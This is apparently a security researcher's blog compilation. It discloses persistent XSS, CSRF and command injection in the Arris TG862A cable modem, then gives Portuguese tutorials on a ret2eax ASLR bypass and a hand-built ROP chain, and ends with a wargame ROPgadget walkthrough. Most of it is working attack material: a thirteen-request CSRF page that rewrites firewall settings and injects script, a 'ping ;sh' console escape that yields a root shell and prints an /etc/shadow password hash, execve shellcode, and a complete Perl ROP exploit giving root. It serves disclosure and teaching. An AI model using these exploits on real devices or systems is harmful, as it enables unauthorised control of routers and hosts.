Persistent XSS and CSRF in TG862A Arris Modem
Continue with the bugs founded by me on the Arris Modem Series, the TG862A(TS0705125D_031115_MODEL_862_GW) Arris Modem have some obvious persistent XSS and CSRF bugs , in the ‘Firewall’ area.
In the Firewall->Virtual Servers section

We can add a new ‘Virtual Server’

And put the malicious Javascript code on the “Description” field

After click on the button for add a new virtual server, this make the requests to create a new virtual server and when the “virtual server” page with malicious Javascript is called, shows the alert pop-up

The application don’t have any kind of protection to prevent CSRF attacks and the code used for PoC is below. 😉
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpGet?oids=1.3.6.1.4.1.4115.1.20.1.1.2.2.1.5.12;&_n=26020&_=1448050502692", true);
xhr.setRequestHeader("Accept", "text/plain, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest();
</script>
<script>
function submitRequest2()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpGet?oids=1.3.6.1.4.1.4115.1.20.1.1.2.2.1.3.12;&_n=26020&_=1448050509837", true);
xhr.setRequestHeader("Accept", "text/plain, */*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest2();
</script>
<script>
function submitRequest3()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11.1=5;2;&_n=26020&_=1448050512017", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest3();
</script>
<script>
function submitRequest4()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2.1=test%3Cscript%3Ealert(1)%3C%2Fscript%3E;4;&_n=26020&_=1448050516100", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest4();
</script>
<script>
function submitRequest5()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3.1=666;66;&_n=26020&_=1448050518619", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest5();
</script>
<script>
function submitRequest6()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4.1=666;66;&_n=26020&_=1448050530861", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest6();
</script>
<script>
function submitRequest7()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5.1=1;2;&_n=26020&_=1448050533971", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest7();
</script>
<script>
function submitRequest8()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6.1=1;2;&_n=26020&_=1448050539233", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest8();
</script>
<script>
function submitRequest9()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7.1=%24C0A8000A;4;&_n=26020&_=1448050545672", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest9();
</script>
<script>
function submitRequest10()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9.1=666;66;&_n=26020&_=1448050550616", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest10();
</script>
<script>
function submitRequest11()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10.1=666;66;&_n=26020&_=1448050556630", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest11();
</script>
<script>
function submitRequest12()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11.1=1;2;&_n=26020&_=1448050559849", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest12();
</script>
<script>
function submitRequest13()
{
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://192.168.0.1/snmpSet?oid=1.3.6.1.4.1.4115.1.20.1.1.9.0=1;2;&_n=26020&_=1448050563269", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.withCredentials = true;
var body = "";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
submitRequest13();
</script>
</body>
</html>
Regards.
update: Vulnerabilities still in TS0705125E_111615_MODEL_862_GW
Command injection in Arris modens
Inspired by the publication of Bernardo Rodrigues for NullByte Conference in his blog(http://w00tsec.blogspot.com.br/2015/11/arris-cable-modem-has-backdoor-in.html) of some command injections (backdoors?) in the restricted shell of Arris modems, i decided to publish another injection of commands that he may not have noticed, in the ‘ping’ feature.
Arris TG862A Command Injection
--
Arris TG862A has a console(ARRIS Console) that within the "System"
context, have a command injection in the ping feature. The password for
the ARRIS Console is the "password of the day".
Version affected
--
Hardware Model: TG862A
Firmware Name: TS0705125_062314_MODEL_862_GW
Firmware Revision: 7.5.125
Base Version: 2.0.5.38
PoC
--
```
$ telnet 192.168.100.1
Trying 192.168.100.1...
Connected to 192.168.100.1.
Escape character is '^]'.
`!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM::~
``!MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM!:~` ~
!MMMMMMMMMMMMMMMMMMMMMMM!:` :~~
:MMMMMMMMMMMMMMMM!~ :~~~~
.:MMMMMMMMMM!:~ ~~~~~~
..:MMMMMMM!:~` :~~~~~~~
.:MMMMMM:~` ::~~~~~~~~~
.:MMMMM:~ .!!!!!!: ~~~~
..:MMM:~` .!!!!` ~
..:MM:~` !!`
.:M:~`
AA RRRRRRR RRRRRRR III SSSSS
AAAA RRRRRRRRR RRRRRRRRR III SSSSSSSSS
AAAAAA RRR RRR RRR RRR III SSS SS
AAA AAA RRR RRRR RRR RRRR III SSSS
AAA AAA RRRRRRRRR RRRRRRRRR III SSSSSS
AAAAAAAAAAAA RRR RRR RRR RRR III SSSS
AAA AAA RRR RRR RRR RRR III SS SSS
AA AA RRR RRR RRR RRR III SSSSSSSSS
A A RRR R RRR R III SSSSS
ARRIS Enterprises, Inc. 2014 All rights reserved
Enter password>
Spawning ARRIS Console
Firmware Revision: 7.5.125
[ 1] Console> system
[ 2] System> ping ;sh
ping -I wan0 ;sh
BusyBox v1.15.2 (2014-06-23 08:08:11 EDT) multi-call binary
Usage: ping [OPTIONS] HOST
BusyBox v1.15.2 (2014-06-23 08:08:11 EDT) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# cat /etc/shadow
root:$1$xQWhDWOr$FYNAc2DuT2Q45OY7s2R43/:10063:0:99999:7:::
#
```
Credits
--
Victor N. Ramos Mello <victornrm () gmail com>
obs: This bug still active in TS0705125D_031115_MODEL_862_GW firmware.
Passando por ASLR com ret2eax
Passando por ASLR com ret2eax
1) Introdução
2) Ambiente
3) Código
4) Verificando a viabilidade da exploração
5) Exploração
6) Binário
7) Contato
8) Referências
1) Introdução
Neste artigo mostrarei como utilizar a técnica conhecida como ret2reg(return to register) para dar bypass em Address Space Layout Randomization(ASLR)[1], com exceção do Position-Independent Executable(PIE)[2], este tipo de técnica se baseia em como a stack funciona, chamada de ‘stack juggling methods'[3].
O problema na exploração de stack-based buffer overflows com ASLR é que o endereço do nosso shellcode estará cada vez em um lugar diferente, devido a pseudo-aleatoriedade da stack, a ideia por traz do ret2reg é utilizar um endereço não-aleatório da área de ‘text’ por exemplo, que contenha um jmp ou call para para um registrador que esteja apontando para o nosso shellcode, ou seja, o atacante não precisa saber o endereço da onde esta o shellcode, mas se utiliza de um registrador que estará apontando para o mesmo.
A técnica que irei demonstrar é conhecida como ret2eax, ou seja, vamos ver um caso aonde o registrador eax estará apontando para o nosso shellcode, e iremos procurar um jmp ou call para eax, sobrescrevendo o endereço de retorno salvo na pilha por este endereço.
2) Ambiente
O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.
m0nad@m0nad-notebook:~$ cat /etc/issue.net Ubuntu 11.04 m0nad@m0nad-notebook:~$ uname -a Linux m0nad-notebook 2.6.38-13-generic #56-Ubuntu SMP Tue Feb 14 12:40:40 UTC 2012 i686 i686 i386 GNU/Linux m0nad@m0nad-notebook:~$ gcc --version gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. m0nad@m0nad-notebook:~$
As proteções do sistema operacional podem ser encontradas no wiki do ubuntu[4]
3) Código
Para a realização do ret2eax precisamos que o eax aponte para o shellcode, como sabemos que o valor de retorno fica em eax, e que a função strcpy retorna o endereço para o buffer, basta que a função que chamou o strcpy não coloque nenhum outro valor em eax, mantendo assim o endereço de eax para o buffer, que estará o nosso shellcode.
Vejamos o código:
m0nad@m0nad-notebook:~$ cat ret2eax.c
#include <string.h>
void
main(int argc, char ** argv)
{
char buf[256];
strcpy(buf, argv[1]);
}
Vemos que a função main não retorna nada (ou seja, não irá alterar o valor de eax), isso fará com que o eax continue com o endereço do nosso buffer, ou seja com o endereço da onde estará o nosso shellcode.
Compilei o código sem Smash The Stack Protector(Propolice) utilizando a opção do gcc -fno-stack-protector, alem de permitir execução na stack, para que nosso shellcode possa ser executado, com o a opção do gcc -z execstack.
m0nad@m0nad-notebook:~$ gcc -o ret2eax ret2eax.c -fno-stack-protector -z execstack
Utilizando o checksec.sh[5] verificamos as proteções ativas do binário.
m0nad@m0nad-notebook:~$ bash checksec.sh --file ret2eax RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH ret2eax
Podemos ver que o binário esta com RELRO parcial, sem SSP, sem Non eXecute ativado, sem PIE, sem relative path ou runpath.
Verificamos também que o ASLR esta ativo no kernel.
m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space 2 m0nad@m0nad-notebook:~$
4) Verificando a viabilidade da exploração
Após compilar, vamos tentar controlar o eip dentro do depurador gdb.
(gdb) r `perl -e 'print "A" x 268 . "B" x 4'` Starting program: /home/m0nad/ret2eax `perl -e 'print "A" x 268 . "B" x 4'` Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb)
Sucesso! controlamos o eip, vamos verificar se o eax esta apontando para o nosso buffer.
(gdb) i r $eax eax 0xbffff100 -1073745664 (gdb) x/s 0xbffff100 0xbffff100: 'A' <repete 200 vezes>... (gdb)
Podemos ver que o eax esta apontando para o nossos ‘A’s, vamos então procurar se existe algum call para o eax.
m0nad@m0nad-notebook:~$ objdump -D ret2eax | grep -E 'call\s*\*%eax' 80483bf: ff d0 call *%eax 804847b: ff d0 call *%eax m0nad@m0nad-notebook:~$
Encontramos, basta então colocarmos o shellcode seguido de algum lixo para encher o resto do buffer, e no final o endereço para o call eax, ficando algo como:
[shellcode][lixo][&call eax]
5) Exploração
Vamos a exploração, para fins de demonstração vamos setar o binário para suid root.
m0nad@m0nad-notebook:~$ sudo chown root:root ret2eax [sudo] password for m0nad: m0nad@m0nad-notebook:~$ sudo chmod +s ret2eax
O shellcode utilizado foi um simples execve para um /bin/sh, para aprender a construir o seu veja o meu artigo[6], utilizei nops para encher o buffer, seguido do endereço do call eax.
m0nad@m0nad-notebook:~$ ./ret2eax `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80" . "\x90" x 243 . "\xbf\x83\x04\x08"'` # id uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad) #
r00t!
6) Binário
O binário utilizado pode ser encontrado no meu github[7]
7) Contato
Victor Ramos Mello (m0nad)
victornrm at gmail.com | m0nad at email.com
m0nadlabs.wordpress.com
@m0nadlabs
8) Referências
[1] https://en.wikipedia.org/wiki/Address_space_layout_randomization
[2] https://en.wikipedia.org/wiki/Position-independent_code
[3] http://events.ccc.de/congress/2005/fahrplan/attachments/539-Paper_AdvancedBufferOverflowMethods.pdf
[4] https://wiki.ubuntu.com/Security/Features
[5] http://www.trapkit.de/tools/checksec.html
[6] https://raw.github.com/m0nad/Papers/master/ConstruindoShellcodes.txt
[7] https://github.com/m0nad/Papers/tree/master/ret2eax/bin
Return-Oriented Programming na unha!
Return-Oriented Programming na unha!
1) Introdução
2) Ambiente
3) Código
4) Payload
5) Exploit
6) Binário
7) Referências
1) Introdução
Return-Oriented Programming é uma técnica de exploração que o atacante controlando a stack, encadeia endereços para instruções seguidas de um return, estes chamados de gadgets[1]. Esta técnica é muito interessante por passar por proteções como Executable space protection(NX, DEP, W^X)[2].
Existem ferramentas para encontrar os gadgets como ROPEME[3] e ROPgadget[4], este último capaz de gerar o payload, mas podemos encontrar os mesmos manualmente, ou seja, procurando pelas próprias instruções no binário.
2) Ambiente
O ambiente de testes aqui foi o ubuntu 11.04, kernel 2.6.38 e gcc 4.5.2.
m0nad@m0nad-notebook:~$ cat /etc/issue.net Ubuntu 11.04 m0nad@m0nad-notebook:~$ uname -a Linux m0nad-notebook 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:23:39 UTC 2011 i686 i686 i386 GNU/Linux m0nad@m0nad-notebook:~$ gcc --version gcc (Ubuntu/Linaro 4.5.2-8ubuntu4) 4.5.2 Copyright (C) 2010 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. m0nad@m0nad-notebook:~$
As proteções do sistema operacional pode ser encontrada no wiki do ubuntu[5]
Podemos ver que o ASLR está ativo.
m0nad@m0nad-notebook:~$ cat /proc/sys/kernel/randomize_va_space 2 m0nad@m0nad-notebook:~$
3) Código
O código foi um stack-based buffer overflows clássico:
m0nad@m0nad-notebook:~$ cat vuln.c
#include <string.h>
int
main(int argc, char ** argv)
{
char buffer[256];
if (argc < 2)
return 1;
strcpy(buffer, argv[1]);
return 0;
}
Compilei sem Smash the Stack Protection(SSP – Propolice)[6], utilizando a opção -fno-stack-protector do gcc, e com a opção -static, assim ele ira compilar com todo o código estatico, possibilitando assim mais gadgets.
m0nad@m0nad-notebook:~$ gcc -o vuln vuln.c -fno-stack-protector -static -Wall -Wextra
Rodamos o checksec.sh[7] para verificar as proteções no binário.
m0nad@m0nad-notebook:~$ bash checksec.sh --file vuln RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH vuln m0nad@m0nad-notebook:~$
Percebemos que estamos com RELRO parcial, sem SSP, com Non eXecute ativado, sem PIE, sem relative path ou runpath.
4) Payload
A ideia do payload é a mesma de um shellcode normal, colocar a syscall de execve em eax, o endereço da string /bin//sh em ebx, e nesse caso ecx e edx apontando para NULL, utilizando do exemplo do payload que o ROPgadget gera, vamos usar a area de .data para colocar a string, usei o readelf para descobrir o endereço:
m0nad@m0nad-notebook:~$ readelf -S vuln | grep 22 [22] .data PROGBITS 080cf020 086020 000740 00 WA 0 0 32 m0nad@m0nad-notebook:~$
Precisamos então dos gadgets, para isso usei o objdump, com a opção -D para ‘disassemblar’, e o grep, para achar expressões regulares das instruções.
Primeiros gadgets que procurei foi para controlar os registradores, um pop %ecx seguido de ret:
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%ecx' -A2 | grep ret -B2 8053ed6: 59 pop %ecx 8053ed7: 5b pop %ebx 8053ed8: c3 ret -- -- 80cae04: 59 pop %ecx 80cae05: c3 ret m0nad@m0nad-notebook:~$
Legal, temos um pop %ebx | ret, e um pop %ecx | ret, vamos procurar um pop %edx | ret:
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%edx' -A2 | grep ret -B2 8053eac: 5a pop %edx 8053ead: c3 ret m0nad@m0nad-notebook:~$
Certo, um pop %eax | ret seria bom:
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'pop\s*%eax' -A2 | grep ret -B2 80cc415: 58 pop %eax 80cc416: 03 0a add (%edx),%ecx 80cc418: c3 ret m0nad@m0nad-notebook:~$
Hmm, achamos um, mas ele tem um efeito colateral do add (%edx),%ecx que precede o ret, vamos ver se temos uma maneira de mover de algum registrador para o eax:
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[b-d]x,%eax' -A1 | grep ret -B1 80770ac: 89 d0 mov %edx,%eax 80770ae: f3 c3 repz ret -- 80aa9a7: 89 d0 mov %edx,%eax 80aa9a9: c3 ret m0nad@m0nad-notebook:~$
Pronto, podemos usar o mov %edx,%eax | ret para controlar o eax, podemos então colocar o endereço de .data em algum registrador, e mover a string /bin//sh para esta area de memoria, para isso precisamos de mov de algum registrador que controlamos para alguma área de memoria:
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'mov\s*%e[a-d]x,\(%e[a-d]x\)' -A1 | grep -E 'ret\s+' -B1 8080391: 89 02 mov %eax,(%edx) 8080393: c3 ret m0nad@m0nad-notebook:~$
Temos! precisamos então, de um xor %eax,%eax por exemplo, para colocarmos um null-byte na pilha.
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'xor\s*%eax,%eax' -A1 | grep ret -B1 8051be1: 31 c0 xor %eax,%eax 8051be3: c3 ret -- 8051c00: 31 c0 xor %eax,%eax 8051c02: c3 ret -- 806d2f4: 31 c0 xor %eax,%eax 806d2f6: c3 ret -- 8070f9a: 31 c0 xor %eax,%eax 8070f9c: c3 ret -- 8071140: 31 c0 xor %eax,%eax 8071142: c3 ret -- 809d40f: 31 c0 xor %eax,%eax 809d411: c3 ret m0nad@m0nad-notebook:~$
Temos de sobra, bem, agora só precisamos de inc %eax, para colocarmos o valor correto de execve:
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'inc\s*%eax' -A1 | grep ret -B1 806d84f: 40 inc %eax 806d850: c3 ret -- 80c9dc3: 40 inc %eax 80c9dc4: c3 ret -- 80cbd20: 40 inc %eax 80cbd21: ca fa ff lret $0xfffa -- 80cefab: ff c0 inc %eax 80cefad: cf iret m0nad@m0nad-notebook:~$
Temos alguns, e é claro, precisamos de um int $0x80 para chamar o kernel para executar a nossa syscall:
m0nad@m0nad-notebook:~$ objdump -D vuln | grep -E 'int\s*\$0x80' 80487bf: cd 80 int $0x80 8052f2c: cd 80 int $0x80 8053fa8: cd 80 int $0x80 80545f0: cd 80 int $0x80 8077023: cd 80 int $0x80 807a5c8: cd 80 int $0x80 808b355: cd 80 int $0x80 808b35e: cd 80 int $0x80 m0nad@m0nad-notebook:~$
Pronto, com esses gadgets é possível chamar um execve(“/bin//sh”, NULL, NULL).
5) Exploit
O exploit basta usar os gadgets encontrados, primeiro colocamos a string “/bin” em eax.
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin
Depois jogamos a string para .data.
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#data = /bin
Fazemos o mesmo para colocar “//sh” em .data + 4.
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh
Usamos o gadget xor %eax,%eax | ret para colocar o null-byte no final da string em .data + 8.
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0
Colocamos o endereço de data, ou seja da string /bin//sh em ebx, e ponteiro para NULL que é .data + 8.
$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);
Pronto, basta usar o xor %eax,%eax | ret e inc %eax | ret para colocar o valor da syscall execve (0xb) em eax, e chamar o int $0x80 | ret.
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;
Vamos ao exploit completo!
#!/usr/bin/perl
use strict;
my $p = "a" x 268;
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "/bin";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = /bin
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= "//sh";
$p .= pack("I", 0x080aa9a7); # mov %edx,%eax | ret
#eax = //sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf024); # @ .data + 4
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x08080391); # mov %eax,(%edx) | ret
#.data = /bin//sh\0
$p .= pack("I", 0x08053ed6); # pop %ecx | pop %ebx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
$p .= pack("I", 0x080cf020); # @ .data
$p .= pack("I", 0x08053eac); # pop %edx | ret
$p .= pack("I", 0x080cf028); # @ .data + 8
#("/bin//sh", NULL, NULL);
$p .= pack("I", 0x0809d40f); # xor %eax,%eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0806d84f); # inc %eax | ret
$p .= pack("I", 0x0808b35e); # int $0x80
print $p;
Para a exploração vamos colocar em suid root para fins de demonstração:
m0nad@m0nad-notebook:~$ sudo chown root:root vuln [sudo] password for m0nad: m0nad@m0nad-notebook:~$ sudo chmod +s vuln
E finalmente a exploitação:
m0nad@m0nad-notebook:~$ ./vuln "$(perl xpl_vuln.pl)" # id uid=1000(m0nad) gid=1000(m0nad) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(m0nad) #
r00t!
6) Binário
O binário e exploit utilizados podem ser encontrado no meu github[8]
7) Referências
[1] http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html
[2] http://en.wikipedia.org/wiki/Executable_space_protection
[3] http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[4] http://shell-storm.org/project/ROPgadget/
[5] https://wiki.ubuntu.com/Security/Features
[6] http://en.wikipedia.org/wiki/Stack-smashing_protection
[7] http://www.trapkit.de/tools/checksec.html
[8] https://github.com/m0nad/Papers/tree/master/ropnaunha/bin
Nuit du Hack Level10 – Return-Oriented Programming
Ultimo level desse wargame 😀
Bem, confesso que vi um vídeo do da tool ROPgadget, do Jonathan Saiwan (http://shell-storm.org/project/ROPgadget/) que usa este level do wargame como demonstração de sua ferramenta.
Mas entendendo o conceito vou tentar passar aqui para vocês.
O método de exploração tende ser ROP, Return-Oriented Programming, que consiste em utilizar ‘gadgets’, que são endereços de instruções de maquina no próprio binário/processo, instruções estas seguidas da instrução ‘ret’, o encadeamento dessas instruções construímos o shellcode.
Ao rodar o ROPgadget, temos o seguinte output
level10@wargame2k10:/tmp/rop/ROPgadget-v3.3.1$ ./ROPgadget
Syntax: ./ROPgadget <option> <binary> [FLAGS]
Options:
-file Load file
-g Search gadgets and make payload
-elfheader Display ELF Header
-progheader Display Program Header
-sectheader Display Section Header
-symtab Display Symbols Table
-allheader Display ELF/Program/Section/Symbols Header
-v Version
Flags:
-bind Set this flag for make a bind shellcode (optional) (Default local exploit)
-port <port> Set a listen port, optional (Default 1337)
-importsc <shellcode> Make payload and convert your shellcode in ROP payload
-filter <word> Word filter (research slowed)
-only <keyword> Keyword research (research slowed)
-opcode <opcode> Search a specific opcode on exec segment
-string <string> Search a specific hard string on read segment ('?' any char)
-asm <instructions> Search a specific instructions on exec segment
-limit <value> Limit the display of gadgets
-map <start-end> Search gadgets on exec segment between two address
Ex:
./ROPgadget -file ./smashme.bin -g -bind -port 8080
./ROPgadget -file ./smashme.bin -g -importsc "\x6a\x02\x58\xcd\x80\xeb\xf9"
./ROPgadget -file ./smashme.bin -g -filter "add %eax" -filter "dec" -bind -port 8080
./ROPgadget -file ./smashme.bin -g -only "pop" -filter "eax"
./ROPgadget -file ./smashme.bin -g -opcode "\xcd\x80"
./ROPgadget -file ./smashme.bin -g -asm "xor %eax,%eax ; ret"
./ROPgadget -file ./smashme.bin -g -asm "int \$0x80"
